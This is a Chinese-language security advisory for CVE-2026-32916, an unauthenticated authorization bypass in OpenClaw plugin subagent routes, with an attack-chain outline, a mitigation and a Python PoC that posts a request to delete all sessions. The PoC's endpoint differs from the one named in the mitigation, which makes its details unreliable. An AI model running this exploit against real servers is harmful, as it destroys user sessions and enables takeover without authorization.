IPBUF安全漏洞报告
English
CVE-2026-32916 CVSS 9.4 严重

CVE-2026-32916 OpenClaw授权绕过漏洞

披露日期: 2026-03-31

漏洞信息

漏洞编号
CVE-2026-32916
漏洞类型
授权绕过
CVSS评分
9.4 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
OpenClaw

相关标签

授权绕过OpenClawRCE严重

漏洞概述

OpenClaw在2026.3.7至2026.3.11之前的版本中存在授权绕过漏洞。由于插件子代理路由通过具有广泛管理员权限的合成操作员客户端执行网关方法,未经身份验证的远程攻击者可向插件拥有的路由发送请求,利用runtime.subagent方法执行特权操作,如删除会话或执行代理代码,导致系统安全性受损。

技术细节

该漏洞的根源在于OpenClaw插件子代理路由的权限校验机制存在设计缺陷。当插件处理外部请求时,系统会创建一个“合成操作员客户端”来执行底层的网关方法。然而,该客户端在初始化过程中被错误地赋予了过于宽泛的管理员权限范围,导致其能够绕过正常的访问控制检查。攻击者无需进行任何身份验证,即可直接向受影响OpenClaw服务器上的插件拥有路由发起远程请求。通过精心构造的数据包,攻击者可以调用runtime.subagent方法。由于该方法继承了合成客户端的高权限,攻击者能够利用此接口执行原本仅限管理员进行的敏感操作。具体的利用方式包括但不限于强制删除活跃的用户会话、触发特定代理的执行流程等。这一过程完全绕过了系统内置的认证与授权逻辑,使得攻击者能够远程接管系统的关键功能,造成严重的数据泄露或服务中断风险。

攻击链分析

STEP 1
侦察
攻击者识别互联网上暴露的OpenClaw服务实例,特别是版本在2026.3.7至2026.3.11之前的目标。
STEP 2
漏洞利用
攻击者向插件子代理路由发送特制的未经身份验证的HTTP请求。
STEP 3
权限提升
系统通过合成操作员客户端处理请求,错误地赋予请求管理员权限,调用runtime.subagent方法。
STEP 4
执行操作
攻击者执行特权操作,如删除所有用户会话或远程执行代理代码,从而控制或破坏服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def exploit_openclaw(target): """ PoC for CVE-2026-32916: OpenClaw Authorization Bypass This script sends an unauthenticated request to the plugin subagent route to perform a privileged action (e.g., session deletion). """ # Target endpoint for the plugin subagent route url = f"{target}/api/plugins/subagent/runtime.subagent" headers = { "Content-Type": "application/json" } # Payload to invoke privileged gateway method payload = { "action": "invoke_gateway_method", "method": "delete_sessions", "params": { "scope": "all" } } try: print(f"[+] Sending payload to {url}...") response = requests.post(url, json=payload, headers=headers, timeout=10) if response.status_code == 200: print("[+] Exploit successful! Privileged action executed.") print(f"[+] Response: {response.text}") else: print(f"[-] Exploit failed or unexpected response. Status: {response.status_code}") except Exception as e: print(f"[-] Error occurred: {e}") if __name__ == "__main__": target_ip = "http://127.0.0.1:8080" # Replace with actual target exploit_openclaw(target_ip)

影响范围

OpenClaw 2026.3.7
OpenClaw < 2026.3.11

防御指南

临时缓解措施
如果无法立即升级,建议在防火墙或WAF层面拦截对/plugin-route/runtime.subagent等敏感接口的未经授权访问,并严格监控异常的网关调用日志。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表